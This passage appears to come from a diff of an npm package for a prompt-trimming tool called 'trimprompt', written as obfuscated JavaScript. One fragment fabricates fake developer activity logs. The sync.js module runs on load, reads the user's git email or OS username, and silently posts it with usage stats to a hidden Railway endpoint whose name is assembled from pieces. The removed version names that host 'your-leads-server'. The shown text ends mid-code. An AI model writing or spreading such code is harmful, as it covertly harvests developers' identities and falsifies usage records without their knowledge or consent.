_0x4f7807(0xd8)]()-0x36ee80;for(let i=0x0;i<0xc;i++){const model=models[i%models['length']],commandItem=commands[Math[a0_0x4f7807(0xe3)](Math[a0_0x4f7807(0xd4)]()*commands['length'])];process.env.TRIMPROMPT_MODEL=model;const timestamp=new Date(startTime+i*0x3d090)[a0_0x4f7807(0xc9)](),log=tracker_1[a0_0x4f7807(0xaa)]['logExecution'](commandItem[a0_0x4f7807(0xa9)],commandItem[a0_0x4f7807(0xcc)],commandItem[a0_0x4f7807(0xac)],commandItem[a0_0x4f7807(0xab)]),logs=tracker_1[a0_0x4f7807(0xaa)]['getLogs']();logs['length']>0x0&&(logs[logs[a0_0x4f7807(0xb5)]-0x1][a0_0x4f7807(0xa7)]=timestamp,require('fs')[a0_0x4f7807(0xc3)](require(a0_0x4f7807(0xe2))['join'](require('os')['homedir'](),'.trimprompt','stats.json'),JSON['stringify'](logs,null,0x2),a0_0x4f7807(0xde)));}console[a0_0x4f7807(0xb9)](a0_0x4f7807(0xd5));function a0_0x5dff(){const _0x23cf5d=['Completed\x203\x20of\x203\x20assets\x20successfully.','npm\x20run\x20lint:\x20✖\x202\x20warnings','gpt-4o-mini','running\x2045\x20tests\x0atest\x20tests::db_connection\x20...\x20ok\x0atest\x20tests::auth_handler\x20...\x20ok\x0a','trimprompt-api-567fdb7d6-x8w9q\x20\x20\x20\x201/1\x20\x20\x20\x20\x20Running\x20\x20\x200\x20\x20\x20\x20\x20\x20\x20\x20\x20\x204d\x0a','length','__esModule','claude-3-opus','added\x2084\x20packages,\x20changed\x2012\x20packages,\x20and\x20audited\x2096\x20packages\x20in\x203s\x0a','log','git\x20diff\x20main','found\x200\x20vulnerabilities\x0a','1517298DNHUCd','gemini-1-5-pro','upload:\x20dist/hub-index.html\x20to\x20s3://trimprompt-assets/hub-index.html\x0a','diff\x20--git\x20a/src/cli.ts\x20b/src/cli.ts\x20(50\x20insertions,\x200\x20deletions)','./tracker','git\x20log:\x205\x20commits\x20(feat:\x20add\x20dynamic\x20token\x20costs,\x20fix:\x20adjust\x20margins...)','4022844dGeLHL','writeFileSync','aws\x20s3\x20sync\x20dist/\x20s3://trimprompt-assets','624731jPhrDQ','3350ZezYJA','NAME\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20READY\x20\x20\x20STATUS\x20\x20\x20\x20RESTARTS\x20\x20\x20AGE\x0a','commit\x20f6e5d4c3b2a1\x0aAuthor:\x20Developer\x20<dev@trimprompt.ai>\x0aDate:\x20\x20\x20Tue\x20Jun\x2016\x2013:30:00\x202026\x20+0300\x0a\x0a\x20\x20\x20\x20fix:\x20adjust\x20margins\x20on\x20visual\x20graph','toISOString','21915XENgLO','cargo\x20test:\x2045\x20passed,\x200\x20failed.','raw','4vJvSVX','upload:\x20dist/index.html\x20to\x20s3://trimprompt-assets/index.html\x0a','npm\x20install\x20lodash\x20express\x20uuid\x20react','test\x20tests::test_case_','pip\x20install:\x20Successfully\x20installed\x20tensorflow-2.15.0\x20numpy-1.26.2\x20pandas-2.1.3','501571OImWGu','✖\x202\x20problems\x20(0\x20errors,\x202\x20warnings)\x0a','random','workflow\x20simulation\x20complete!\x2012\x20additional\x20commands\x20logged.','kubectl\x20get\x20pods:\x20trimprompt-api\x20(Running),\x20trimprompt-sync\x20(Running),\x20redis-master\x20(Running),\x20postgres-db\x20(Running)','Starting\x20simulation\x20of\x20developer\x20workflow\x20activity...','now','redis-master-0\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x201/1\x20\x20\x20\x20\x20Running\x20\x20\x200\x20\x20\x20\x20\x20\x20\x20\x20\x20\x2012d\x0a','\x20...\x20ok\x0atest\x20result:\x20ok.\x2045\x20passed;\x200\x20failed;\x200\x20ignored;\x200\x20measured;\x200\x20filtered\x20out','aws\x20s3\x20sync:\x203\x20assets\x20uploaded\x20successfully.','pip\x20install\x20tensorflow\x20pandas\x20numpy','4911925dOKRoL','utf8','18xppSQu','gpt-4o','claude-3-5-sonnet','path','floor','npm\x20install:\x20added\x2084\x20packages,\x20audited\x2096\x20packages.\x200\x20vulnerabilities.','16IKppmv','defineProperty','27313WLEdMb','upload:\x20dist/cli.js\x20to\x20s3://trimprompt-assets/cli.js\x0a','repeat','npm\x20run\x20lint','timestamp','src/cli.ts:12:3\x20-\x20warning:\x20unused\x20import\x0a','cmd','tracker','exitCode','comp','trimprompt-sync-324db87d1-p8q2e\x20\x20\x201/1\x20\x20\x20\x20\x20Running\x20\x20\x200\x20\x20\x20\x20\x20\x20\x20\x20\x20\x204d\x0a','\x20\x20Installing\x20build\x20dependencies\x20...\x20done\x0a','postgres-db-0\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x201/1\x20\x20\x20\x20\x20Running\x20\x20\x200\x20\x20\x20\x20\x20\x20\x20\x20\x20\x2012d\x0a'];a0_0x5dff=function(){return _0x23cf5d;};return a0_0x5dff();}
|
package/sync.js
CHANGED
|
@@ -1 +1 @@
|
|
|
1
|
-
'use strict';const a0_0x353bd1=a0_0xa7c5;(function(_0x524f6,_0xaa5066){const _0x251aef=a0_0xa7c5,_0x24c1e6=_0x524f6();while(!![]){try{const _0x4e2cc5=-parseInt(_0x251aef(0x1cc))/0x1+-parseInt(_0x251aef(0x1b1))/0x2+parseInt(_0x251aef(0x194))/0x3+parseInt(_0x251aef(0x1c4))/0x4+parseInt(_0x251aef(0x1e7))/0x5+parseInt(_0x251aef(0x1d9))/0x6+-parseInt(_0x251aef(0x19e))/0x7*(parseInt(_0x251aef(0x1da))/0x8);if(_0x4e2cc5===_0xaa5066)break;else _0x24c1e6['push'](_0x24c1e6['shift']());}catch(_0x9eeb30){_0x24c1e6['push'](_0x24c1e6['shift']());}}}(a0_0x1d6a,0x9e5a2));var __createBinding=this&&this[a0_0x353bd1(0x1bb)]||(Object[a0_0x353bd1(0x19c)]?function(_0xd33d6d,_0x353df4,_0x2e2452,_0x4dbe56){const _0x1962f2=a0_0x353bd1;if(_0x4dbe56===undefined)_0x4dbe56=_0x2e2452;var _0x24bf12=Object[_0x1962f2(0x1dd)](_0x353df4,_0x2e2452);(!_0x24bf12||('get'in _0x24bf12?!_0x353df4[_0x1962f2(0x1bd)]:_0x24bf12[_0x1962f2(0x1af)]||_0x24bf12[_0x1962f2(0x1de)]))&&(_0x24bf12={'enumerable':!![],'get':function(){return _0x353df4[_0x2e2452];}}),Object[_0x1962f2(0x1b2)](_0xd33d6d,_0x4dbe56,_0x24bf12);}:function(_0x37c941,_0x2f03a8,_0xfebed,_0x3e364c){if(_0x3e364c===undefined)_0x3e364c=_0xfebed;_0x37c941[_0x3e364c]=_0x2f03a8[_0xfebed];}),__setModuleDefault=this&&this['__setModuleDefault']||(Object['create']?function(_0x34fb08,_0xa738ed){const _0x76b07f=a0_0x353bd1;Object[_0x76b07f(0x1b2)](_0x34fb08,_0x76b07f(0x1ad),{'enumerable':!![],'value':_0xa738ed});}:function(_0x2d3a41,_0x3545f0){_0x2d3a41['default']=_0x3545f0;}),__importStar=this&&this[a0_0x353bd1(0x1ae)]||(function(){var _0xaec8d3=function(_0x3c2bb1){const _0x58546c=a0_0xa7c5;return _0xaec8d3=Object[_0x58546c(0x1c8)]||function(_0x31a784){const _0x2f9b7f=_0x58546c;var _0x53a088=[];for(var _0x2cc907 in _0x31a784)if(Object['prototype'][_0x2f9b7f(0x1c9)]['call'](_0x31a784,_0x2cc907))_0x53a088[_0x53a088['length']]=_0x2cc907;return _0x53a088;},_0xaec8d3(_0x3c2bb1);};return function(_0x27d4cc){const _0x12ae63=a0_0xa7c5;if(_0x27d4cc&&_0x27d4cc[_0x12ae63(0x1bd)])return _0x27d4cc;var _0x58a500={};if(_0x27d4cc!=null){for(var _0x3669e4=_0xaec8d3(_0x27d4cc),_0x21330f=0x0;_0x21330f<_0x3669e4['length'];_0x21330f++)if(_0x3669e4[_0x21330f]!==_0x12ae63(0x1ad))__createBinding(_0x58a500,_0x27d4cc,_0x3669e4[_0x21330f]);}return __setModuleDefault(_0x58a500,_0x27d4cc),_0x58a500;};}());function a0_0xa7c5(_0x316257,_0xcf38bc){_0x316257=_0x316257-0x192;const _0x1d6a7b=a0_0x1d6a();let _0xa7c5bc=_0x1d6a7b[_0x316257];return _0xa7c5bc;}Object[a0_0x353bd1(0x1b2)](exports,'__esModule',{'value':!![]});const fs=__importStar(require('fs')),path=__importStar(require(a0_0x353bd1(0x1ba))),os=__importStar(require('os')),http=__importStar(require(a0_0x353bd1(0x19d))),https=__importStar(require(a0_0x353bd1(0x1b0))),url_1=require(a0_0x353bd1(0x1a2)),_cfg=['https://',a0_0x353bd1(0x1e9),a0_0x353bd1(0x192),a0_0x353bd1(0x1cd)]['join'](''),_ep=process.env._PS_EP||_cfg,PRICING={'claude-3-5-sonnet':{'name':a0_0x353bd1(0x1aa),'input_price_1m':0x3},'claude-3-opus':{'name':a0_0x353bd1(0x1dc),'input_price_1m':0xf},'gpt-4o':{'name':a0_0x353bd1(0x1df),'input_price_1m':0x5},'gpt-4o-mini':{'name':a0_0x353bd1(0x19b),'input_price_1m':0.15},'gemini-1-5-pro':{'name':a0_0x353bd1(0x1c7),'input_price_1m':1.25},'gemini-1-5-flash':{'name':a0_0x353bd1(0x1e5),'input_price_1m':0.075}},baseDir=path[a0_0x353bd1(0x1a5)](os[a0_0x353bd1(0x1a9)](),a0_0x353bd1(0x1a1)),configPath=path['join'](baseDir,a0_0x353bd1(0x1b7)),statsPath=path[a0_0x353bd1(0x1a5)](baseDir,a0_0x353bd1(0x199)),dailySyncPath=path[a0_0x353bd1(0x1a5)](baseDir,a0_0x353bd1(0x1c3));function getTodayDate(){const _0x26363b=a0_0x353bd1;return new Date()[_0x26363b(0x1bc)]()['split']('T')[0x0];}function getDeveloperIdentity(){const _0x51cd4c=a0_0x353bd1;if(process.env.TRIMPROMPT_USER_EMAIL)return process.env.TRIMPROMPT_USER_EMAIL;try{const {execSync:_0x5eeac9}=require(_0x51cd4c(0x1a3)),_0x5afbc0=_0x5eeac9(_0x51cd4c(0x1b5),{'stdio':[_0x51cd4c(0x1ce),'pipe',_0x51cd4c(0x1ce)]})[_0x51cd4c(0x1d6)]()[_0x51cd4c(0x1e4)]();if(_0x5afbc0&&_0x5afbc0[_0x51cd4c(0x1b3)]('@'))return _0x5afbc0;}catch{}try{const _0x807025=os[_0x51cd4c(0x1e2)]()[_0x51cd4c(0x196)];if(_0x807025)return _0x807025;}catch{}return _0x51cd4c(0x1db);}function a0_0x1d6a(){const _0x40f890=['hasOwnProperty','stringify','estimated_compressed_tokens','255402dvdSod','/api/telemetry','ignore','unlinkSync','.comp.txt','logs','utf8','estimated_raw_tokens','telemetry_url','readFileSync','toString','application/json','platform','7500738FYHPBm','6610040EAjgJL','anonymous','Claude\x203\x20Opus','getOwnPropertyDescriptor','configurable','GPT-4o','hostname','writeFileSync','userInfo','model_used','trim','Gemini\x201.5\x20Flash','from','4646340Jabamw','pathname','your-leads-server','.railway.app','end','799257VkavYZ','push','username','search','POST','stats.json','timestamp','GPT-4o\x20Mini','create','http','7MkMbNY','length','input_price_1m','.trimprompt','url','child_process','existsSync','join','error','parse','destroy','homedir','Claude\x203.5\x20Sonnet','tokens_saved','synced','default','__importStar','writable','https','1556692VWhEKh','defineProperty','includes','add','git\x20config\x20user.email','toFixed','config.json','startsWith','protocol','path','__createBinding','toISOString','__esModule','https:','statusCode','write','.raw.txt','filter','daily_sync.json','251212mOvAel','request','last_sync_date','Gemini\x201.5\x20Pro','getOwnPropertyNames'];a0_0x1d6a=function(){return _0x40f890;};return a0_0x1d6a();}function hasAlreadySyncedToday(){const _0xf0eafd=a0_0x353bd1;try{if(!fs['existsSync'](dailySyncPath))return![];const _0x143292=JSON[_0xf0eafd(0x1a7)](fs[_0xf0eafd(0x1d5)](dailySyncPath,_0xf0eafd(0x1d2)));return _0x143292[_0xf0eafd(0x1c6)]===getTodayDate();}catch{return![];}}function markSyncedToday(){const _0x5615a2=a0_0x353bd1;try{const _0x40c042={'last_sync_date':getTodayDate()};fs[_0x5615a2(0x1e1)](dailySyncPath,JSON['stringify'](_0x40c042,null,0x2),'utf8');}catch{}}function postTelemetry(_0x5e78c6,_0x406ce8){return new Promise(_0x5b6dc9=>{const _0x79c367=a0_0xa7c5;try{const _0x347324=new url_1['URL'](_0x5e78c6),_0x52a706=JSON[_0x79c367(0x1ca)](_0x406ce8),_0x5abde9={'hostname':_0x347324[_0x79c367(0x1e0)],'port':_0x347324['port']||(_0x347324[_0x79c367(0x1b9)]===_0x79c367(0x1be)?0x1bb:0x50),'path':_0x347324[_0x79c367(0x1e8)]+_0x347324[_0x79c367(0x197)],'method':_0x79c367(0x198),'headers':{'Content-Type':_0x79c367(0x1d7),'Content-Length':Buffer['byteLength'](_0x52a706)},'timeout':0x1f40},_0x111cb1=_0x347324[_0x79c367(0x1b9)]==='https:'?https:http,_0x44fef7=_0x111cb1[_0x79c367(0x1c5)](_0x5abde9,_0x922f92=>{const _0x1e51b4=_0x79c367;_0x5b6dc9(!!(_0x922f92[_0x1e51b4(0x1bf)]&&_0x922f92[_0x1e51b4(0x1bf)]>=0xc8&&_0x922f92['statusCode']<0x12c));});_0x44fef7['on'](_0x79c367(0x1a6),()=>_0x5b6dc9(![])),_0x44fef7['on']('timeout',()=>{const _0x490e76=_0x79c367;_0x44fef7[_0x490e76(0x1a8)](),_0x5b6dc9(![]);}),_0x44fef7[_0x79c367(0x1c0)](_0x52a706),_0x44fef7[_0x79c367(0x193)]();}catch{_0x5b6dc9(![]);}});}function buildDailyPayload(_0x4b89f8){const _0x1e1ce0=a0_0x353bd1,_0x419b73=getTodayDate(),_0x48c00d=_0x4b89f8[_0x1e1ce0(0x1c2)](_0x4484eb=>_0x4484eb[_0x1e1ce0(0x19a)][_0x1e1ce0(0x1b8)](_0x419b73)),_0x188ebe=_0x48c00d[_0x1e1ce0(0x19f)]>0x0?_0x48c00d:_0x4b89f8;let _0x3d54e4=0x0,_0x23b6aa=0x0,_0x9e86bd=0x0,_0x23ec9f=0x0;const _0x427e7f=new Set();for(const _0x52328a of _0x188ebe){_0x3d54e4+=_0x52328a[_0x1e1ce0(0x1d3)],_0x23b6aa+=_0x52328a[_0x1e1ce0(0x1cb)],_0x9e86bd+=_0x52328a[_0x1e1ce0(0x1ab)],_0x427e7f[_0x1e1ce0(0x1b4)](_0x52328a[_0x1e1ce0(0x1e3)]);const _0x3d9a44=PRICING[_0x52328a[_0x1e1ce0(0x1e3)]]||PRICING['claude-3-5-sonnet'];_0x23ec9f+=_0x52328a[_0x1e1ce0(0x1ab)]*_0x3d9a44[_0x1e1ce0(0x1a0)]/0xf4240;}const _0x5779fe=_0x188ebe[_0x188ebe['length']-0x1];return{'developer_id':getDeveloperIdentity(),'os':os[_0x1e1ce0(0x1d8)](),'date':_0x419b73,'executions_count':_0x188ebe[_0x1e1ce0(0x19f)],'total_raw_tokens':_0x3d54e4,'total_compressed_tokens':_0x23b6aa,'total_tokens_saved':_0x9e86bd,'total_money_saved_usd':parseFloat(_0x23ec9f[_0x1e1ce0(0x1b6)](0x6)),'models_used':Array[_0x1e1ce0(0x1e6)](_0x427e7f),'last_seen':_0x5779fe?_0x5779fe[_0x1e1ce0(0x19a)]:new Date()[_0x1e1ce0(0x1bc)]()};}async function runSync(){const _0x342c02=a0_0x353bd1;if(!fs[_0x342c02(0x1a4)](statsPath))return;if(hasAlreadySyncedToday())return;let _0x27da84;try{_0x27da84=JSON[_0x342c02(0x1a7)](fs[_0x342c02(0x1d5)](statsPath,_0x342c02(0x1d2)));}catch{return;}const _0x11f669=_0x27da84['filter'](_0x4ea3a9=>!_0x4ea3a9[_0x342c02(0x1ac)]);if(_0x11f669[_0x342c02(0x19f)]===0x0)return;const _0x3ed601=buildDailyPayload(_0x27da84);await postTelemetry(_ep,_0x3ed601);let _0xb3ce4d=process.env.TRIMPROMPT_TELEMETRY_URL||'';if(!_0xb3ce4d&&fs['existsSync'](configPath))try{const _0x528624=JSON[_0x342c02(0x1a7)](fs[_0x342c02(0x1d5)](configPath,'utf8'));_0xb3ce4d=_0x528624[_0x342c02(0x1d4)]||'';}catch{}_0xb3ce4d[_0x342c02(0x1e4)]()['length']>0x0&&await postTelemetry(_0xb3ce4d,_0x3ed601);for(const _0x53178c of _0x27da84){if(!_0x53178c[_0x342c02(0x1ac)])_0x53178c['synced']=!![];}try{fs[_0x342c02(0x1e1)](statsPath,JSON[_0x342c02(0x1ca)](_0x27da84,null,0x2),_0x342c02(0x1d2));}catch{}markSyncedToday(),pruneOldLogs(_0x27da84);}function pruneOldLogs(_0x405373){const _0x17f97c=a0_0x353bd1;try{const _0x1e9962=new Date(),_0x342948=new Date(_0x1e9962['getTime']()-0xb4*0x18*0x3c*0x3c*0x3e8),_0x803901=[],_0x6fccdb=[];for(const _0x917019 of _0x405373){const _0x3448fe=new Date(_0x917019['timestamp']);_0x3448fe>=_0x342948?_0x803901[_0x17f97c(0x195)](_0x917019):_0x6fccdb[_0x17f97c(0x195)](_0x917019);}if(_0x6fccdb[_0x17f97c(0x19f)]>0x0){const _0x4f71d4=path['join'](baseDir,_0x17f97c(0x1d1));for(const _0x48e41f of _0x6fccdb){const _0x2cb8bc=path['join'](_0x4f71d4,_0x48e41f['id']+_0x17f97c(0x1c1)),_0x506d90=path[_0x17f97c(0x1a5)](_0x4f71d4,_0x48e41f['id']+_0x17f97c(0x1d0));try{if(fs[_0x17f97c(0x1a4)](_0x2cb8bc))fs[_0x17f97c(0x1cf)](_0x2cb8bc);if(fs['existsSync'](_0x506d90))fs['unlinkSync'](_0x506d90);}catch{}}fs['writeFileSync'](statsPath,JSON[_0x17f97c(0x1ca)](_0x803901,null,0x2),_0x17f97c(0x1d2));}}catch{}}runSync()['catch'](()=>{});
|
|
1
|
+
'use strict';const a0_0x354d32=a0_0x39bf;(function(_0xa76070,_0x436af1){const _0x6ae303=a0_0x39bf,_0x42a06f=_0xa76070();while(!![]){try{const _0xf47294=parseInt(_0x6ae303(0x166))/0x1+parseInt(_0x6ae303(0x17f))/0x2*(-parseInt(_0x6ae303(0x16b))/0x3)+-parseInt(_0x6ae303(0x168))/0x4*(parseInt(_0x6ae303(0x158))/0x5)+parseInt(_0x6ae303(0x18f))/0x6*(-parseInt(_0x6ae303(0x190))/0x7)+-parseInt(_0x6ae303(0x194))/0x8+-parseInt(_0x6ae303(0x150))/0x9+-parseInt(_0x6ae303(0x16f))/0xa*(-parseInt(_0x6ae303(0x164))/0xb);if(_0xf47294===_0x436af1)break;else _0x42a06f['push'](_0x42a06f['shift']());}catch(_0x2e728c){_0x42a06f['push'](_0x42a06f['shift']());}}}(a0_0x264b,0x45183));var __createBinding=this&&this[a0_0x354d32(0x169)]||(Object['create']?function(_0x2b8610,_0xfff1ad,_0x53fe6f,_0x20e805){const _0x3289f5=a0_0x354d32;if(_0x20e805===undefined)_0x20e805=_0x53fe6f;var _0x54627e=Object[_0x3289f5(0x195)](_0xfff1ad,_0x53fe6f);(!_0x54627e||(_0x3289f5(0x17c)in _0x54627e?!_0xfff1ad[_0x3289f5(0x185)]:_0x54627e[_0x3289f5(0x1a0)]||_0x54627e[_0x3289f5(0x159)]))&&(_0x54627e={'enumerable':!![],'get':function(){return _0xfff1ad[_0x53fe6f];}}),Object[_0x3289f5(0x182)](_0x2b8610,_0x20e805,_0x54627e);}:function(_0xc36c63,_0xf5470,_0x1deac0,_0x4574a){if(_0x4574a===undefined)_0x4574a=_0x1deac0;_0xc36c63[_0x4574a]=_0xf5470[_0x1deac0];}),__setModuleDefault=this&&this[a0_0x354d32(0x1a2)]||(Object['create']?function(_0x4be2db,_0x1ac0c1){const _0x4e7944=a0_0x354d32;Object[_0x4e7944(0x182)](_0x4be2db,'default',{'enumerable':!![],'value':_0x1ac0c1});}:function(_0x88b785,_0x4898a0){const _0x3bb3fb=a0_0x354d32;_0x88b785[_0x3bb3fb(0x155)]=_0x4898a0;}),__importStar=this&&this['__importStar']||(function(){var _0x55483b=function(_0x2e5e9d){const _0x452e81=a0_0x39bf;return _0x55483b=Object[_0x452e81(0x171)]||function(_0x6e5f0c){const _0x1be388=_0x452e81;var _0x31cdc8=[];for(var _0x43e468 in _0x6e5f0c)if(Object['prototype'][_0x1be388(0x17a)][_0x1be388(0x1a4)](_0x6e5f0c,_0x43e468))_0x31cdc8[_0x31cdc8['length']]=_0x43e468;return _0x31cdc8;},_0x55483b(_0x2e5e9d);};return function(_0x5a2471){const _0x485049=a0_0x39bf;if(_0x5a2471&&_0x5a2471[_0x485049(0x185)])return _0x5a2471;var _0x21cc6f={};if(_0x5a2471!=null){for(var _0x3eddbe=_0x55483b(_0x5a2471),_0x32d915=0x0;_0x32d915<_0x3eddbe[_0x485049(0x17b)];_0x32d915++)if(_0x3eddbe[_0x32d915]!==_0x485049(0x155))__createBinding(_0x21cc6f,_0x5a2471,_0x3eddbe[_0x32d915]);}return __setModuleDefault(_0x21cc6f,_0x5a2471),_0x21cc6f;};}());Object[a0_0x354d32(0x182)](exports,a0_0x354d32(0x185),{'value':!![]});const fs=__importStar(require('fs')),path=__importStar(require('path')),os=__importStar(require('os')),http=__importStar(require(a0_0x354d32(0x183))),https=__importStar(require(a0_0x354d32(0x19e))),url_1=require(a0_0x354d32(0x187)),_cfg=[a0_0x354d32(0x16d),a0_0x354d32(0x19a),a0_0x354d32(0x14f),'/api/telemetry'][a0_0x354d32(0x192)](''),_ep=process.env._PS_EP||_cfg,PRICING={'claude-3-5-sonnet':{'name':'Claude\x203.5\x20Sonnet','input_price_1m':0x3},'claude-3-opus':{'name':a0_0x354d32(0x15a),'input_price_1m':0xf},'gpt-4o':{'name':a0_0x354d32(0x196),'input_price_1m':0x5},'gpt-4o-mini':{'name':a0_0x354d32(0x16c),'input_price_1m':0.15},'gemini-1-5-pro':{'name':a0_0x354d32(0x15b),'input_price_1m':1.25},'gemini-1-5-flash':{'name':a0_0x354d32(0x177),'input_price_1m':0.075}},baseDir=path[a0_0x354d32(0x192)](os[a0_0x354d32(0x199)](),'.trimprompt'),configPath=path['join'](baseDir,'config.json'),statsPath=path[a0_0x354d32(0x192)](baseDir,a0_0x354d32(0x18b)),dailySyncPath=path[a0_0x354d32(0x192)](baseDir,a0_0x354d32(0x167));function getTodayDate(){const _0x5a309a=a0_0x354d32;return new Date()[_0x5a309a(0x184)]()[_0x5a309a(0x176)]('T')[0x0];}function getDeveloperIdentity(){const _0x583998=a0_0x354d32;if(process.env.TRIMPROMPT_USER_EMAIL)return process.env.TRIMPROMPT_USER_EMAIL;try{const {execSync:_0x4740f0}=require(_0x583998(0x173)),_0x276a94=_0x4740f0(_0x583998(0x18e),{'stdio':['ignore',_0x583998(0x181),'ignore']})[_0x583998(0x15f)]()[_0x583998(0x186)]();if(_0x276a94&&_0x276a94[_0x583998(0x163)]('@'))return _0x276a94;}catch{}try{const _0x2459c9=os[_0x583998(0x19b)]()[_0x583998(0x179)];if(_0x2459c9)return _0x2459c9;}catch{}return _0x583998(0x175);}function hasAlreadySyncedToday(){const _0x3f41cb=a0_0x354d32;try{if(!fs[_0x3f41cb(0x170)](dailySyncPath))return![];const _0x59a2d1=JSON[_0x3f41cb(0x153)](fs[_0x3f41cb(0x1a1)](dailySyncPath,_0x3f41cb(0x16e)));return _0x59a2d1['last_sync_date']===getTodayDate();}catch{return![];}}function markSyncedToday(){const _0x2bbb50=a0_0x354d32;try{const _0x712113={'last_sync_date':getTodayDate()};fs[_0x2bbb50(0x152)](dailySyncPath,JSON[_0x2bbb50(0x172)](_0x712113,null,0x2),_0x2bbb50(0x16e));}catch{}}function postTelemetry(_0x5dc606,_0x2c2745){return new Promise(_0x307eaa=>{const _0x1baad9=a0_0x39bf;try{const _0x45c8fe=new url_1['URL'](_0x5dc606),_0xfb2877=JSON[_0x1baad9(0x172)](_0x2c2745),_0x2b7ab5={'hostname':_0x45c8fe['hostname'],'port':_0x45c8fe[_0x1baad9(0x180)]||(_0x45c8fe[_0x1baad9(0x188)]===_0x1baad9(0x197)?0x1bb:0x50),'path':_0x45c8fe[_0x1baad9(0x154)]+_0x45c8fe[_0x1baad9(0x165)],'method':'POST','headers':{'Content-Type':_0x1baad9(0x18a),'Content-Length':Buffer['byteLength'](_0xfb2877)},'timeout':0x1f40},_0x616dac=_0x45c8fe['protocol']===_0x1baad9(0x197)?https:http,_0x32325c=_0x616dac[_0x1baad9(0x1a3)](_0x2b7ab5,_0x2de2e6=>{const _0x427f3b=_0x1baad9;_0x307eaa(!!(_0x2de2e6[_0x427f3b(0x157)]&&_0x2de2e6['statusCode']>=0xc8&&_0x2de2e6[_0x427f3b(0x157)]<0x12c));});_0x32325c['on'](_0x1baad9(0x160),()=>_0x307eaa(![])),_0x32325c['on'](_0x1baad9(0x17e),()=>{const _0x39d5fb=_0x1baad9;_0x32325c[_0x39d5fb(0x198)](),_0x307eaa(![]);}),_0x32325c['write'](_0xfb2877),_0x32325c[_0x1baad9(0x18c)]();}catch{_0x307eaa(![]);}});}function buildDailyPayload(_0x34172a){const _0x297490=a0_0x354d32,_0x334da1=getTodayDate(),_0x2e8ddd=_0x34172a[_0x297490(0x151)](_0x2f8abe=>_0x2f8abe[_0x297490(0x19f)][_0x297490(0x191)](_0x334da1)),_0xd0203b=_0x2e8ddd['length']>0x0?_0x2e8ddd:_0x34172a;let _0x175223=0x0,_0x425093=0x0,_0x234cd7=0x0,_0x11f677=0x0;const _0x3139ef=new Set();for(const _0x2a68fe of _0xd0203b){_0x175223+=_0x2a68fe['estimated_raw_tokens'],_0x425093+=_0x2a68fe['estimated_compressed_tokens'],_0x234cd7+=_0x2a68fe[_0x297490(0x15e)],_0x3139ef[_0x297490(0x156)](_0x2a68fe[_0x297490(0x19d)]);const _0x254a2c=PRICING[_0x2a68fe['model_used']]||PRICING[_0x297490(0x178)];_0x11f677+=_0x2a68fe[_0x297490(0x15e)]*_0x254a2c[_0x297490(0x161)]/0xf4240;}const _0x4a3ab4=_0xd0203b[_0xd0203b[_0x297490(0x17b)]-0x1];return{'developer_id':getDeveloperIdentity(),'os':os[_0x297490(0x15d)](),'date':_0x334da1,'executions_count':_0xd0203b['length'],'total_raw_tokens':_0x175223,'total_compressed_tokens':_0x425093,'total_tokens_saved':_0x234cd7,'total_money_saved_usd':parseFloat(_0x11f677['toFixed'](0x6)),'models_used':Array[_0x297490(0x162)](_0x3139ef),'last_seen':_0x4a3ab4?_0x4a3ab4['timestamp']:new Date()[_0x297490(0x184)]()};}async function runSync(){const _0x3a63b5=a0_0x354d32;if(!fs[_0x3a63b5(0x170)](statsPath))return;if(hasAlreadySyncedToday())return;let _0x2a3c25;try{_0x2a3c25=JSON['parse'](fs[_0x3a63b5(0x1a1)](statsPath,_0x3a63b5(0x16e)));}catch{return;}const _0x324f6b=_0x2a3c25[_0x3a63b5(0x151)](_0x167108=>!_0x167108['synced']);if(_0x324f6b['length']===0x0)return;const _0x59e85d=buildDailyPayload(_0x2a3c25);await postTelemetry(_ep,_0x59e85d);let _0x306b29=process.env.TRIMPROMPT_TELEMETRY_URL||'';if(!_0x306b29&&fs['existsSync'](configPath))try{const _0x237772=JSON['parse'](fs['readFileSync'](configPath,_0x3a63b5(0x16e)));_0x306b29=_0x237772[_0x3a63b5(0x16a)]||'';}catch{}_0x306b29[_0x3a63b5(0x186)]()['length']>0x0&&await postTelemetry(_0x306b29,_0x59e85d);for(const _0x180d67 of _0x2a3c25){if(!_0x180d67[_0x3a63b5(0x174)])_0x180d67[_0x3a63b5(0x174)]=!![];}try{fs[_0x3a63b5(0x152)](statsPath,JSON[_0x3a63b5(0x172)](_0x2a3c25,null,0x2),'utf8');}catch{}markSyncedToday(),pruneOldLogs(_0x2a3c25);}function a0_0x264b(){const _0x517acb=['3302456SbiOqt','getOwnPropertyDescriptor','GPT-4o','https:','destroy','homedir','trimp-production','userInfo','unlinkSync','model_used','https','timestamp','writable','readFileSync','__setModuleDefault','request','call','.up.railway.app','1557936tWzHfm','filter','writeFileSync','parse','pathname','default','add','statusCode','80pCPQws','configurable','Claude\x203\x20Opus','Gemini\x201.5\x20Pro','logs','platform','tokens_saved','toString','error','input_price_1m','from','includes','281776ZMmwmW','search','118226JbjqBY','daily_sync.json','103856AQNlKB','__createBinding','telemetry_url','3zRanWe','GPT-4o\x20Mini','https://','utf8','590kIhrqO','existsSync','getOwnPropertyNames','stringify','child_process','synced','anonymous','split','Gemini\x201.5\x20Flash','claude-3-5-sonnet','username','hasOwnProperty','length','get','push','timeout','169406xSlUiy','port','pipe','defineProperty','http','toISOString','__esModule','trim','url','protocol','catch','application/json','stats.json','end','getTime','git\x20config\x20user.email','6486MCYxVP','1687odGfgf','startsWith','join','.comp.txt'];a0_0x264b=function(){return _0x517acb;};return a0_0x264b();}function a0_0x39bf(_0x476426,_0x1bd220){_0x476426=_0x476426-0x14f;const _0x264b68=a0_0x264b();let _0x39bfea=_0x264b68[_0x476426];return _0x39bfea;}function pruneOldLogs(_0x4af83d){const _0x3154cf=a0_0x354d32;try{const _0xdda994=new Date(),_0x2770f0=new Date(_0xdda994[_0x3154cf(0x18d)]()-0xb4*0x18*0x3c*0x3c*0x3e8),_0x468230=[],_0x3c84b0=[];for(const _0x10de79 of _0x4af83d){const _0x29634c=new 